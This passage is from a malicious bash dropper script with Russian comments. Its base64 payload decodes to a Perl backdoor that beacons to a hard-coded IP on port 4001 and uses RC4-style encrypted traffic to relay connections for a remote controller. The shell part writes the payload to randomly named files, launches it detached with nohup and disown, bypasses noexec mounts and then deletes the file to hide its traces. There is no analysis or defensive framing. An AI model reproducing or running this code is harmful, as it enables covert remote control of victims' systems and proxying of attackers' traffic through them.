WN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_5a995533() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKC